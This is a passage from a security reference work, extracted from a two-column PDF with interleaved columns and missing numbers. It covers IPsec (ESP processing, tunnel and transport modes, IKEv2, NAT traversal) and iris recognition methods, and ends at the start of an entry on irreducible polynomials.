cepts; nothing is said about how they are to be implemented
opment is still going on. Originally, IPsec was intended to
in actual code. In particular, some implementations com-
address all network security needs. Placing security at the
bine the SPD and SADB functionality with that of the
network layer meant that the same protocol could be used
firewalling and forwarding code because packet classifica-
by different types of links, but also that the same protocol
tion and corresponding actions are involved in all these
could be used by most network applications to secure their
operations.
traffic. It turned out that such a goal was too ambitious.
The term cryptographic suite appears frequently
In particular, most Web traffic ended up being secured
in the IPsec standards documents. Each component of
with a transport-level security protocol, SSL (subsequently
IPsec uses different kinds of algorithms (e.g., encryption,
TLS). As a result, IPsec is now mostly used for Virtual Pri-
integrity, D-H exchange, pseudo-random number genera-
vate Networks (VPNs) and VPN-like applications, such as
tion), with each having several choices (e.g., Triple-DES or
remote access.
AES for encryption, MD- or SHA- for integrity, each of
which can accommodate different key sizes). Not all com-
Theory
binations make sense, and choice of key lengths should be
IPsec Components such that the work factor to break each of the algorithms
IPsec consists of three distinct components: the traffic is the same. For this reason, instead of allowing individual
protocols (AH and ESP) to protect the network traffic; choices for each one, many user interfaces, as well as later
key management to negotiate the cryptographic keys and versions of standard documents, give reasonable premade
parameters to protect the traffic; and a policy component, choices for each of the individual algorithms and present
which determines what traffic needs protection and with them as a suite.
what parameters.
There are two distinct wire protocols: Authentication
Header (AH) and Encapsulating Security Payload (ESP). Packet Processing
The reason for having two such protocols, when arguably The wire protocols, or transforms as they are referred to in
the features offered by AH can also be offered by ESP, the standards, can operate in two modes: transport mode
is historical: when IPsec was being standardized in the and tunnel mode. Correspondingly, we can talk about
mid-s, there were laws in the USA and other coun- transport-mode SAs and tunnel-mode SAs. In transport
tries preventing the export of products that could perform mode, IP traffic is protected on an end-to-end basis: an
encryption; thus a version of a product that only supported IP packet leaving the source host has its payload (every-
AH could be exportable. Here we describe ESP; the inter- thing following the IP header) protected by IPsec; when the
ested reader can refer to the standards documents for a packet reaches its destination, the IPsec code examines the
description of AH. now-secured payload, and if it has not been tampered with,
I IPsec
restores the original IP packet and passes it up to the next- SPI

level protocol. In tunnel mode, each outgoing IP packet Sequence number
is encapsulated in its entirety inside another IPsec packet.
Initialization vector A
This outer packet may have different source and destina-
E U
tion IP addresses from the inner packet. Conceptually, T
N Packet payload
tunnel mode can be considered as a concatenation of an IP- H
C
in-IP encapsulation protocol and transport mode, where
the new transport protocol is the aforementioned IP-in- Padding
pad len Next
IP encapsulation protocol. Conversely, transport mode can
be considered an optimization when the inner and the Authentication data
outer IP addresses would be the same.
IPsec. Fig. Encapsulating Security Payload packet
Let us now illustrate the three common use cases
construction
of IPsec and the corresponding modes to use. Figure
shows two random Internet hosts wishing to commu-
nicate securely. The mode they use is transport mode.
After key and security-association negotiations, every IP may allow for paddings that include additional multiples of
packet leaving one host gets its payload protected with ESP the block size, for example, to frustrate traffic analysis that
(Fig. ). The IP header stays largely the same: the only dif- may depend on packet size. One more octet indicates the
ference is that the IP Protocol field gets replaced with the amount of padding used, and a final octet carries the orig-
value for ESP (protocol ), and the original protocol field inal protocol number. This entire construct (payload plus
describing the payload (e.g., for TCP or for UDP) gets padding plus length plus protocol) is encrypted with the
carried as part of the ESP encapsulation data. block cipher. Obviously, the IV is not encrypted, but it stays
To understand exactly how the ESP transform works in the packet so that decryption can happen at the receiv-
in the most common case, where ESP is used for both ing end. Finally, the message authentication code is applied
integrity protection and data confidentiality, observe Fig. . on the encrypted payload and the SPI and Sequence Num-
First, the SPI was determined by consulting the SADB and ber fields, and the resulting packet is transmitted. When
finding the corresponding SA. The Sequence Number field the packet is received at the far end, the same operations
is a monotonically-increasing number, also kept in the SA, are carried out in reverse order. The SPI is consulted to
and its function is to protect against replay attacks. Most find the corresponding SA. The MAC is applied to the SPI-
encryption algorithms require an initialization vector (IV); plus-SN-plus-encrypted payload construct, and the result
one is created at random. The original packets payload is is compared to the transmitted authentication data. If they
placed after the IV. Most encryption ciphers used in IPsec are equal, the packet has not been tampered with. The pay-
are block ciphers, and thus padding is added up to a mul- load is the decrypted, the padding is removed, all the extra
tiple of the cipher block size minus two. Some transforms fields are discarded, the IP protocol field in the IP header
is restored, and the packet is passed up the network stack
for further processing.
While transport mode is sufficient to provide secu-
Host1 Host2
rity services, practical considerations such as lack of IPsec
software on end hosts, the need to centrally administer
security policies (such as on a firewall or security gateway)
IPsec. Fig. Two hosts communicating in transport mode render having a tunnel mode be an integral part of IPsec
useful. Figures and show the two common cases: in
the first, two or more distinct sites join to form a Virtual
IP header Payload Private Network. A host in one site does not necessarily
know that its peer is on another physical network; from a
routing perspective, a tunnel is just a virtual link, and this
one happens to be encrypted. Moreover, each site may be
numbered out of private address space, which means that
IP header ESP Payload tunneling is the only way traffic from one site can reach
the other. The security gateways will generally have only
IPsec. Fig. Packet processing in transport mode one IPsec tunnel between them: the traffic selectors in their
IPsec I
Key Exchange
Host Host The Internet Key Exchange, version (IKEv) protocol is
responsible for negotiating Security Association param-
eters and establishing and maintaining cryptographic
SG/fw SG/fw
keys between IPsec endpoints. All IKEv communications
occur with message pairs between the Initiator and the
Responder. Which endpoint is which is merely a mat-
ter of timing; whichever happens to start the process
IPsec. Fig. Two hosts communicating over a Virtual Private becomes the Initiator, and the other becomes the Respon-
Network. The security gateways are running IPsec in tunnel der. Each such message pair is called an exchange; unsur-
mode; the hosts are unaware of any security processing taking prisingly, an exchange consists of a request and a response.
place The first pair of exchanges occur once and establish all the
information necessary to populate SA data structures of
both sides for the particular connection. A third exchange
establishes the traffic keys that are used by the IPsec trans-
forms. Because hosts can fail, reboot, etc., an Informa-
Host
tional exchange is also defined for management during the
lifetime of the SAs.
Laptop SG/fw Any key management protocol, and IKEv (and its pre-
decessor, IKE) is no exception, has to work in a somewhat
I
peculiar environment: its own payloads must be crypto-
graphically protected, but obviously IPsec cannot be used
IPsec. Fig. The road warriorcommunicates with its security for that purpose. Because it runs over UDP, and worse,
gateway over IPsec in tunnel mode. Hosts inside the protected because it has to run in the presence of NAT, there are lim-
domain are also unaware of any security processing its to the exchange packet sizes, which required very careful
design of the protocol.
The first exchange, called ike_sa_init, creates a pair of
IKE Security Associations (not to be confused with IPsec
corresponding SPDs will specify the entire address range SAs). The Initiator sends the responder the SPIs, the list of
from each site. cryptographic suites it supports for negotiating the IKE SA,
Another common use of tunnel mode is the Road its DiffieHellman value, and a nonce. The responder sends
Warrior; a user in some remote location needs to con- its own SPIs, chooses one of the suites offered, presents
nect to their main network securely. A tunnel-mode SA is its D-H value and nonce, and optionally requests certifi-
set up between the remote machine and the security gate- cates for the initiator. At this point, both sides can compute
way. Traffic from the remote machine to its home network the shared D-H secret, called skeyseed, which is used
is protected by that tunnel and delivered to the security by all subsequent operations to generate session keys and
gateway, which in turn passes it on to its eventual destina- traffic keys.
tion. An interesting configuration question here is whether The second exchange, called ike_auth, has each side
to route all traffic from the remote machine via the tun- send, protected by keys derived from skeyseed, its own
nel to the security gateway, or only traffic destined for the identity, corresponding certificates and certificate requests,
home network. To wit, if the road warrior needs to access and the traffic selectors to use in establishing the actual
internal resources and also to browse the web, should the IPsec SAs.
web-browsing traffic first be tunneled through to security The third exchange, called create_child_sa, actually
gateway and then routed to the Internet, or should it sim- establishes the IPsec SAs. The initiator sends the set of
ply use its local interface? This actually is a security issue, IPsec cryptographic suites it supports, and the responder
not just a configuration issue, as allowing direct Internet- selects one of them. Create_child_sa can be repeated as
access to the remote machine while the VPN session is in often as desired to establish new traffic keys. The usual rea-
effect may create a traffic path that bypasses the firewalling son this is done is because the Sequence Number is about
mechanisms of the site. A properly configured and man- to wrap around (in cases of high traffic rates), or because
aged installation should not have such problems, but they policy dictates that traffic keys should not stay unchanged
have been known to happen. for more than a certain amount of time.
I IPSec Policy Analysis
There are some additional options that may be speci- OpenBSD used a policy management language (techni-
fied during the create_child_sa exchange, as well as an cally, the KeyNote Trust-Management system) to config-
informational exchange which is used to pass control ure policy in great detail. The IP Security Policy (IPSP)
messages. There are also options to enable external authen- working group produced two documents (RFC and
tication systems to be used in lieu of certificates for mutual ) which were, however, only informational. A Security
authentication of initiator and responder. While all this Policy Database MIB was eventually also produced (RFC
may appear very complex, IKEv is actually a much simpler ). Much of the configuration work, however, remains
protocol than the one it replaced (IKE), which arguably system-specific, with each implementation having its own
had too many control knobs. ways of specifying all the various parameters.
Since IPsec operates at the network layer, higher-layer
protocols and applications are not necessarily aware of
IPsec and NAT its existence. There are cases, however, when it may be
Network Address Translation (NAT) is a reality that IPsec
convenient for an application to know whether traffic it
has had to face ever since the first road-warrior clients
is exchanging with another remote application is secured
appeared. A NAT device can interfere with IPsec in sev-
(e.g., a mail user agent talking to a mail repository). While
eral ways: it may not even pass protocols and (ESP
this kind of feature was envisioned early in the develop-
and AH); even if it passes them, there is no specification of
ment stages of IPsec, it turned out that a transport-layer
how the equivalent of address and port translation should
security protocol (SSL/TLS) was much better suited for this
happen, i.e., what to use as a port number; the private IP
kind of interaction.
address of the road-warrior may be used by an unsuspect-
ing key management daemon to pass its IP address to its
peer; the original version of IKE expected all traffic to use Recommended Reading
UDP port , but some devices change the source port of . IPsec is still evolving. As of this writing, the core set of standards
documents are RFCs -. Many other RFCs address indi-
translated traffic.
vidual aspects. The interested reader is referred to the IETF web
These problems were addressed with IKEv and the page (http://www.ietf.org for the authoritative RFC repository.
revision of the IPsec protocols, which adds the use
of UDP port , defines an encapsulation mechanism
over UDP. The encapsulation is trivially simple: an ESP
header follows the UDP header. Because the same ports
are used for IKE traffic, and also for NAT keepalives, the
IPSec Policy Analysis
SPI in the ESP header cannot be ; four consecutive
Firewalls
octets following the UDP header indicate that the payload
is IKEv (or IKE), not ESP. Also, a single xff octet is used
as a NAT keepalive. The interested reader is referred to the
corresponding RFCs: and . Iris
Policy and Conguration Yu Chen, Malek Adjouadi
The architecture document (RFC) specifies the con- Department of Electrical and Computer Engineering,
cept of the Security Policy Database, but this is done in Florida International University
an abstract way and mostly just to have a consistent way
of talking about the problem in subsequent documents.
Several attempts were made over the years to standard- Denition
ize the configuration/policy model for IPsec. There are Iris is the colored organ inside the eye. In the human eye,
actually two independent problems: configuring the filters, as illustrated in Fig. , the iris is a thin diaphragm that
or conditions in general, whereby outgoing traffic should lies behind the cornea and anterior chamber. The mus-
be protected and, correspondingly, incoming traffic would cles of the iris expand and contract the aperture of the iris
be expected to arrive protected; and also provide a way (also known as pupil) to adjust the amount of light which
for applications to know whether they are communicating passes through the lens []. In the information technology
securely. field, automated pattern recognition of the human iris can
Most of the effort has been spent on the former be used to identify each person for security purposes and
problem. At least one early IPsec implementation under access control (Fig. ).
Iris I
Pupil
Iris Cornea
Posterior chamber Anterior chamber
Zonular (aqueous humour)
fibres
Lens Ciliary muscle
Suspensory
ligament
Retina
Choroid Vitreous
Sclera humour
Hyaloid
canal
Optic disc
Optic nerve Fovea

I
Retinal
blood vessels
Iris. Fig. An anatomical view of the human eye
Background absorb the short-wavelength light. Thus, if the iris is less

Interestingly, the main structures of the iris begin to form pigmented (has less density of the iris pigment), the iris
in the third month of gestation and are completed by the appears as light colored (grey, blue, and green), otherwise,
eighth month []. The accretion of iris pigment continues the iris appears dark colored (brown and black).
within the first postnatal years [, ]. Consequently, the Although the basic structures of the irises are gener-
structures of the iris are said to be unique to an individual ally common, the pattern of each human iris is distinct.
and do remain stable with age []. The genetic differences and the uniqueness of the circum-
The overall structure of the iris consists of the following stances of each person, i.e., the condition in the embryo
two layers: the anterior layer and the posterior layer. The development give the fact that the detailed pattern of each
anterior layer contains the stroma, iris sphincter muscle, human iris is unique. Through clinical observation, it has
iris dilator muscle, and anterior pigment myoepithelium been claimed that even the patterns in the same persons
[]. The iris sphincter muscle and dilator muscle contract two eyes are believed to be different.
and expand to reduce or enlarge the pupil size, respec-
tively. The posterior layer of the iris mainly contains the
pigmented epithelial cells beneath the anterior layer [].
Applications
The human iris serves as a perfect physical feature for bio-
metric applications, because of its uniqueness and stabil-
Theory ity. Furthermore, the patterns of irises cannot be changed
The patterns of the iris are caused by many various features incidentally or intentionally, since the iris is a protected
of the anterior layer: the arching ligaments, interlacing organ inside the human eye. Among various biometric
ridges, contraction furrows, corona, among others []. measures which include face recognition, iris recognition,
These features are based on the structure of the anterior fingerprint recognition, and voice recognition, among oth-
layer surface and also the tissues beneath the surface such ers, iris recognition is the most reliable and accurate one.
as blood vessels, and stroma support. The iris color which Currently, iris recognition remains as one of the most
is usually referred to as the eye color is mainly determined popular methods that are widely used in security-related
by the anterior melanin pigment []. The pigment can applications.
I Iris
Traditional Iris Recognition basic idea of Daugmans original approach has led to sev-
Since the first automatic iris recognition system was pro- eral other research findings and to the development of
posed by J. Daugman in , a variety of commercial commercial products on iris biometrics [].
systems are developed to deal with the eye images and con- The monochrome cameras with NIR illumination
duct identification or verification processes [, ]. Most of lighting sources are used in the iris acquisition step of
the established iris recognition systems rely on four main Daugmans system. The total high-frequency power in the
steps during the iris recognition process. These steps are D Fourier spectrum of each captured image/frame is
iris information (still image/video) acquisition, iris seg- calculated to access the focus of the iris. The camera is
mentation, iris pattern analysis, and iris pattern matching adjusted to focus on the iris and a feedback (voice or
for eventual recognition. vision signal) is given to help the user position his/her head
Most of the existing commercial systems adopt within the cameras field of view.
near-infrared (NIR) illuminations (with the wavelength In the iris segmentation step, the pupil boundary and
between and nm) as a source of lighting. It limbic boundary are treated as two nonconcentric cir-
is believed that with NIR, the iris shows more detailed cles. Each circle is detected separately and described by
patterns as the iris tissues absorb the short-wavelength their center coordinates and radius. An integro-differential
light and let the long-wavelength go through. During the operator is used to search for the boundary circles. This
iris acquisition step, the user (object) is usually still and particular integro-differential operator is defined as:
looks at the camera, and the acquisition system access the
I(x, y)
max G (r)
r r,x ,y r
focus of the iris and automatically adjust the camera to take ds ()
(r,x ,y )
the iris images or videos.
The iris segmentation step isolates the iris region from where I(x, y) is an intensity value of the image domain
the eye images. Some of the segmentation strategies con- (x, y). This equation seeks the maximum value in the
sider the boundaries of the pupil and the iris to be circular blurred partial derivative with respect to increasing radius r,
in shape. The circles of pupil and outer iris (limbic) bound- along an arc denoted by (ds) of a circle with center coor-
aries are detected in order to localize the iris which is the dinates (x , y ) and radius r. The G (r) is a Gaussian
part within these two circles. In this step, noise reduc- smoothing function of a scale set by , and the symbol
tion methods are used to attenuate to some degree the ( ) refers to the convolution operation.
inherent noise effects and preprocessing methods are used The upper and lower eyelids are modeled as two arcs,
to deal with occlusions caused by eyelids, eyelashes, and and the arcs are detected with this integro-differential
reflections. operator mentioned above. The difference is the path of
In the iris pattern analysis step, various filters are used contour integration in the operator that is changed from
by most iris recognition systems to encode the texture of circular to arcuate.
the iris. The decision of iris verification and identification Because the image sizes of the irises are different and
is generated in the iris matching step. In the matching step, the degrees of pupil dilations vary based on the illumi-
the distances between codes generated for the irises are nation, a normalization method is used to transform the
calculated, and a threshold of the distance is usually used segmented iris image to a normalized polar space. In the
to determine if any two codes belong to a same iris. For normalized polar space, every pixel in the iris image is rep-
the application of verification, the system would provide resented by an angle between and and a radial
a degree of similarity in subjects codes within a stored coordinate between and .
database. For the identification process, the system would A two-dimensional (D) Gabor wavelet filter is then
identify the subject based on whether the degree of similar- used to extract the textures from the normalized iris image.
ity has crossed a set threshold that guarantees the highest The encoded texture is represented as a binary code and
degree of certainty in comparison to all the stored iris compared with stored iris codes to generate a final recog-
codes in the database. nition decision. During the comparison, the Hamming
Among most of the established iris recognition sys- distance is calculated to measure the difference between
tems, Daugmans approach and Wildes approach remain two iris codes. A smaller distance indicates a better con-
the most important and well-known approaches. fidence of the similarity between the two iris codes. A
threshold of the distance would be used to decide if the
Daugmans Approach two iris codes belong to the same iris or not.
The first automatic iris pattern encoding and recogni- It is reported that Daugmans approach achieves very
tion method was proposed by Daugman. Since then, the high accuracy results on the basis of a threshold Hamming
Iris I
distance of . over . million comparisons between and is considerably inconvenient to users. To obtain the
different irises. iris images with required ideal or demanding qualities
for traditional iris recognition system, various rigid con-
Wildes Approach straints are imposed on the subjects stands, head align-
The Wildes approach is also very prominent in the field of ments, movements, light illuminations, etc. Most of the
iris recognition. It uses different image acquisition and iris unconstrained iris recognition systems benefit from their
segmentation process which gives it some advantages over innovative endeavors in the more convenient iris acquisi-
Daugmans system in some aspects. tion setups. Among those, the Iris on the move (IOM)
In the acquisition system, a more complicated set-up, system and visible wavelength systems are the two most
which includes a diffuse source and polarization in con- well-known and promising prototypes.
junction with a low light level camera is used to eliminate Because of the innovative iris acquisition setups,
the reflection spots []. In the iris segmentation step, the the properties of the iris images captured by less-
circular Hough transform is used to detect the pupil and constrained iris recognition systems are different and more
limbic boundaries. The Hough transform is known to be challenging, compared with those obtained from the more
tolerant to gaps in edge descriptions and is relatively unaf- controlled conventional iris recognition systems. Most
fected by image noise. The well-known circular Hough challenging are the severe noise effects that are inherent
transform is often defined as: to these unconstrained iris recognition systems. Typical
n sources of noise include motion blur, defocus, eyelashes
H(xc , yc , r) = h(xj , xj , xc , yc , r) () or eyelids obstruction, specular reflection, among others.
j=
These noise effects could make it impossible for the sys-
I
where h(xj , xj , xc , yc , r) = if the edge point (xj , yj ) is tem to normalize, encode and generate accurate matching
on the circle with center (xc , yc ), and radius r; otherwise, results. Thus, new alternate strategies and algorithms are
h(xj , xj , xc , yc , r) = . With such a circular Hough trans- proposed by the biometrics research community to com-
form, each edge point in the image space votes for each pensate for those newly introduced difficulties and obtain
possible circle passing it in the parameter space. The max- acceptable recognition performances under unconstrained
imum value of H(xc , yc , r) indicates the target circle which environments []. The rest of this article gives an up-to-
has a center at (xc , yc ) and a radius of r. date overview of unconstrained iris recognition systems
In the iris pattern analysis step, a Laplacian of Gaus- and related techniques.
sian (LOG) filter with multiple scales is used to analyze the
iris texture, and the filtering results are compared without The IOM Approach
binarizing to a compact representation as is in the case in Matey et al. introduced an iris recognition system called
the Daugmans approach. Thus, more feature details may be IOM, which is based on near infrared (NIR) video taken
extracted and compared when using the Wildes method. at a distance, with its targets being moving subjects. One
It is claimed that no false positives or false negatives of the significant merits of the IOM system is that it allows
are experienced in the evaluation of the Wildes approach; for iris identification or verification even when a subject is
however, this evaluation was based on a smaller database walking at a normal pace at a speed of up to m/s [].
which contains iris images from different persons. The scenario of the iris recognition under the IOM sys-
tem is illustrated in Fig. . The prototype uses three high
resolution video cameras toward a portal at a distance of
about m. The NIR illumination sources are embedded
Less-Constrained Iris Biometrics within the portal. The NIR video is taken when the subject
In all of the four steps of iris recognition, the iris infor- walks through the portal, and the subject could be wearing
mation acquisition step which captures the iris images or eyeglasses or contact lenses.
videos of the users (subjects) is the most restrictive. It is this For iris verification or identification, the NIR videos of
initial and only step that needs users cooperation. Thus, subjects faces are taken with a resolution of , , .
the most distinguishing difference between traditional iris The iris images acquired from these videos are different
recognition and unconstrained iris recognition is in the from those acquired through traditional acquisition meth-
set-up of the iris acquisition system to free the user from ods. For most of the traditional methods, the total number
any constraint. of pixels across the iris is usually more than , but eye
Amongst most of the conventional iris recognition sys- images from the videos only offer about pixels across
tems, iris acquisition is the most time-consuming step the iris part.
I Iris
Iris. Fig. Image acquisition setup for the IOM system
The subject to be pictured should be at an ideal benefits from the obtained pupil information. The outer
distance for the fixed focus video camera to take the boundary of the iris was detected by a modified Hough
desired frames of the subjects face. Through their study, circular transform. A new eyelids and eyelashes detection
Matey et al. claim that those frames which are taken with method was introduced in this approach to overcome the
a depth of field at about cm depth interval yield the noise from such unconstrained images, which do affect the
perfect focus distance which can be accepted for iris ver- detection process. In their approach, the pixels which are
ification. While conducting iris verification with the IOM on the edge between iris and eyelids or eyelashes will be
system, the video is taken at frames/s and the subjects detected first, then the Hough line transform would be per-
walking pace is allowed to be approximately m/s. Con- formed. Their experimental results based on the MBGC
sequently, there are no more than two frames that can database shows the approach yielding a % segmentation
be captured within that cm depth of field. For subjects accuracy rate.
that are on-the-move, the iris images extracted from lim- Lee et al. proposed an object detector algorithm
ited frames may suffer from various kinds of noisy effects based on the ViolaJohns method combined with a mod-
caused by off angle, motion blur, occultation caused by ification made by LienhartMaydt to detect the eye in the
eyelid or eyelashes, and unexpected light reflections. NIR video. Then, an automatic segmentation algorithm
To appreciate the complexity of the problem, some based on the Wildes et al. method is used to localize the
examples of iris images obtained from the IOM system iris. The feature extraction is conducted by a D Log-Gabor
and from the traditional system are provided in Fig. for filter. The Hamming distance (HD) measure is used in
comparative purposes. the matching stage. Their experimental results shows that
Matey et al. adequately proved the feasibility of the an eye detection accuracy of .% in two-eye detection
IOM system []. Through their experiments, it is claimed and of .% in the iris region segmentation process. The
that the overall recognition rate for subjects is % and claimed matching rate is reported to be greater than %.
with some improvement on the acquisition process, the An iris image evaluation method is proposed by Zhou
success rate could rise up to as high as %. They conclude et al. to select the extracted NIR iris images with accept-
that the IOM system can capture iris images of recognition able quality for recognition in the IOM system []. Their
quality from subjects walking at a normal pace through a image evaluation strategy includes a so-called quality filter
minimally confining portal. unit to delete the low-quality images after image extrac-
The detailed segmentation approach for IOM system tion, a segmentation evaluation unit and a segmentation
is proposed by Chen et al. []. Their proposed approach scores unit to evaluate the segmentation accuracy, and a
starts from the eye image extraction which is based on score fusion unit to combine the quality and segmentation
the reflections on the eyes generated by the illumination measurements to generate a confidence score in the recog-
system. An adaptive histogram method is used to detect nition stage. The two-dimensional Gabor wavelet method
the pupil. The searching of limbic boundary and eyelids and the -D-Log-Gabor wavelet method are used for the
Iris I
a b c d
e f g h
Iris. Fig. Figure eye images acquired from the IOM system and the traditional iris acquisition method. Eye images (a, b, c, d)
are extracted from the IOM system (Courtesy of MBGC Database), while eye images (c, d, e, f) are from the conventional acqui-
sition system as provided by the CASIA database version . (Image provided courtesy of CASIA-IrisV, http://www.cbsr.ia.ac.cn/
IrisDatabase)
I
recognition stage. They claim that with the proposed image system uses the visible light instead of the NIR illumina-
evaluation method, the genuine acceptance rate (GAR) tions in order to offer better safety for the users.
increases by .% and .%, respectively, in the left The experimental setup of the iris acquisition adopted
and right eyes, compared with the GAR obtained with in the visible wavelength approach is illustrated in Fig. .
traditional methods at the same false accepted rate of . The commercially available camera (Canon EOS D in
the proposed prototype) is used as the iris image capture
The Visible Wavelength Approach device. The acquisition system is designed to function in an
One of most difficult and important issues for the environment without rigid illumination control. In their
design of a less-intrusive iris recognition system is the prototype, the setup of the imaging system works under
trade-off between the demanding irradiance and the illu- both natural light source and visible artificial light source.
mination safety requirements for the eyes. Being able to The system is claimed to be able to capture multiple iris
capture iris images of the subjects with on-the-move and images when the subject is walking at a slightly slower pace
at-a-distance conditions, the acquisition system needs to within a range of distances between and m []. With
achieve larger depth-of-field with considerable short expo- such an imaging system, the proposed iris recognition sys-
sure time. Thus, increased intensity of irradiance would be tem can tolerate occasional effects of movements such as
necessary for the optical system in the acquisition step. It is blinking, turning the head, and looking askance.
indicated that the use of visible wavelength illumination Because images are taken with the less-constrained
would be better and safer to achieve such a lighting require- conditions on illumination, subjects movements, poses,
ment. Different with the NIR illuminations, the visible and head alignments, the iris images captured with the
wavelength illumination makes people react instinctively, Proenas acquisition system generate much more real-
as a safety measure, with eye blinking, pupil contrac- istic noise conditions, such as specular reflections, off-
tion/dilation, and evasion, if the illumination happens to angle situation, and the wearing of glasses. Some example
be intense. A visible wavelength (VW) prototype approach images are shown in Fig. . Besides noise effects, the visible
was proposed by Proena et al. in University of Beira Inte- wavelength characteristic of iris images shows substan-
rior [, ]. And more research interests have currently tial differences between the iris images captured by visible
been drawn to this idea. wavelength system and images obtained with traditional
With the VW system, the iris images can also be taken iris recognition systems. Because of such differences, con-
when the users are at a given distance. The system can ventional iris segmentation approaches have not yet been
also capture iris images when users are on the move and able to process visible wavelength iris images; and hence a
with different pose or head alignments. Furthermore, the lot of research efforts have been made with the focus on
I Iris
Iris. Fig. The setup of the image acquisition prototype, signs of A, B in the image denote the two cameras; C, D are the articial
and natural light sources; E is the moving subject. (Image provided courtesy of Dr. Hugo Proena)
Iris. Fig. Iris image examples captured by the Proenas approach (Courtesy of UBIRIS V. Database) []
the iris segmentation stage toward more effective visible adopting an eyelid curvature model. In their final step,
wavelength-based systems (Fig. ). the eyelash occlusions are excluded, using parametric
A segmentation approach starting with a clustering- models based on the intensity statistics of different iris
based coarse iris localization method is proposed in []. regions.
The performance of their approach greatly benefits from In the approach proposed by Sankowski et al., the
this novel initial processing step. The specular reflection specular reflections are detected and filled in a YIQ
removal followed by a region growing strategy is con- color space []. Then, again the conventional integro-
ducted to cluster the iris image into coarse iris region differential operators are used to detect the pupil and lim-
and skin region. Then, with the considerations of seman- bic boundaries. Finally, parametric models based on the
tic priors, the iris region is refined and non-iris regions properties of the eye image are used to describe the upper
including eyelashes, eyebrow, eye glasses, and hair are and lower eyelids.
also detected. Also, an enhanced integro-differential oper- A knowledge-based segmentation approach was later
ator is used to detect the pupil and limbic boundaries. proposed by Almeida, an idea that was inspired by the
The eyelid is detected by a -D horizontal rank filter, paradigm of expert systems []. Thus, a set of rules are
Iris I
defined to drive the system as a human expert. Those The recognition process remains in the discussion
rules are set based on the perceived natural properties of stage among the biometrics community due to the extreme
the human eye such as the pupil should be a very dark challenges posed by illumination, capturing distance, and
small circle, the centers of the pupil and the iris should subject movement among others.
be close, region around the pupil should have a reason- However, Proenca et al. proved the feasibility of the
able color of iris, as semantic priors. The approach consists recognition process by applying Daugmans traditional
of the following steps: image pre-processing, pupil and iris recognition strategy with manually segmented color iris
localization, and the combination of pupil and iris eyelids images []. They selected , segmented good quality
detection. iris images obtained from visible wavelength system as
The so-called AdaBoost algorithm was adopted in both templates. Then, they compared them with , non-iris
of the segmentation approaches proposed by Li et al. or partial iris images and , natural and synthetic tex-
and Jeong et al. to detect a coarse location of the eye ture images, generating a false match rate at P(s < .)
[, ]. In Li et al. approach, a novel limbic boundary . , which can be considered to be negligible. They
identification strategy is proposed. It uses K-means clus- point out that the visible wavelength iris recognition sys-
tering based on the co-occurrence histogram to localize tem has potential to produce an extremely low false match
the limbic boundary. They use a new parabolic integro- rate, which is viewed favorably in biometrics applications.
differential operator combined with a RANSAC (random
sample consensus)-like method to detect the upper eye- Other Less-Constrained Iris Recognition
lid boundary. On the other hand, in Jeong et al. approach, Approaches
they adopt the color information of the image for detect- Wheeler et al. present a minimal-user-intrusive iris
I
ing the obstructions caused by the image ghosting effects. recognition system []. Their work is focused on the
And the identification of the corneal specular reflection is development of an automatic iris acquisition system to the
used to determine if there is an open eye appearing in the convenience of the users. The system uses a pair of fixed
image. wide-field-of-view (WFOV) surveillance cameras to detect
With the same intent, Chen et al. proposed an approach the head position with stereo vision. A pan-tilt head is used
to achieve both accurate segmentation and fast process- to direct the NIR illuminators and the iris camera to focus
ing speed []. The proposed approach relies on an effective on the subject. Thus, the system allows the user to stand in
search for the sclera area of the image. A threshold of satu- front of the camera and face it for carrying out the iris veri-
ration value of the HSI color model is obtained by calculat- fication process. A classic Daugman-style approach is used
ing the biggest group derivative of the original color image to perform the segmentation and recognition processes.
histogram. A binary map is then generated to indicate the They claim that, with the use of a normalized Hamming
sclera area. The method determines a more refined tar- distance of ., their system achieves the verification false
get area in order to accelerate the circle searching for the recognition rate of , and the whole iris identification
outer iris boundary. The outer boundary of the iris was process can be completed in . s on an average.
detected using a very fast and accurate modified circu- Furthermore, an iris image deblurring method is pro-
lar Hough transform. The linear Hough transform is then posed by Huang et al. to improve the quality of the images
used recursively to extract the edges of eyelids. A novel with defocus or motion blur defects for less-cooperative
new method of verification and correction for the noncir- iris recognition systems []. Since in the less-constrained
cular outer iris boundary is also developed. It is claimed iris recognition scenarios, the user is usually allowed to
that their approach achieves an accuracy higher than % walk or move, the movement or defocus degrades the
with an execution speed of .s per image, which is quite image quality significantly; thus, the intent in this study
significant. was to improve the recognition process by introducing a
Labati et al. applied an intro-differential technique to deblurring method. They apply a depth sensor in the iris
roughly localize the center and radius of the outer iris []. acquisition system to obtain the D depth information.
The search region for pupil is significantly reduced by this Their deblurring algorithm is based on the depth infor-
estimation method. Polar transformation is used to lin- mation and prior knowledge on the iris image. Although
earize the estimated region of iris and pupil boundaries. their segmentation and recognition algorithms are not
Thus, two obtained image strips containing iris boundaries fully detailed for a thorough assessment, they claim that
are processed to define the accurate location of the pupil the application of the deblurring method can reduce the
and the outer iris boundary of the iris. mean of the authentic distribution by %.
I Irreducible Polynomial
Recommended Reading . Wheeler FW, Perera AGA, Abramovich G, Yu B, Tu PH ()

. Almeida P () A knowledge-based approach to the iris Stand-off Iris recognition system, Proceedings of nd IEEE
segmentation problem. Image Vis Comput (): international conference on biometrics: theory, applications and
. Bowyer KW, Hollingsworth KP, Flynn PJ () Image systems. BTAS , Sept. -Oct., , Washington DC,
understanding for iris biometrics: a survey. Comp Vis Im pp
Understanding (): . Wildes R () Iris recognition: an emerging biometric tech-
. Chen Y, Wang J, Adjouadi M () A robust segmentation nology. Proc IEEE :
approach to iris recognition based on video. Proc IEEE-AIPR . Zhou Z, Du Y, Belcher C () Transforming traditional iris
pp , ISBN:---- recognition systems to work on non-ideal situations. IEEE T
. Chen Y, Adjouadi M, Han C, Wang J, Barreto A, Rishe N, Industry Electronics ():
Andrian J () A highly accurate and computationally effi-
cient approach for unconstrained iris segmentation. Image Vis
Comput ():
. Daugman JG () Statistical richness of visual phase informa-
tion: update on recognizing persons by their iris patterns. Int J Irreducible Polynomial
Comput Vis ():
. Daugman JG () How iris recognition works. IEEE T Circ
Burt Kaliski
Syst Vid Technol ():
. Donida Labati R, Scotti F () Noisy iris segmentation with Office of the CTO, EMC Corporation, Hopkinton
boundary regularization and reflections removal. Image Vis MA, USA
Comput ():
. Huang X, Ren L, Yang R () Image deblurring for less intru-
sive iris capture, Proceedings of IEEE conference on computer
vision and pattern recognition CVPR , June , Related Concepts
Miami, FL, pp
Extension Field; Field; Finite Field
. Jeonga D, Hwanga J, Kangb B, Parka K, Wonc C, Parkd D,
Kim J () A new iris segmentation method for non-ideal iris
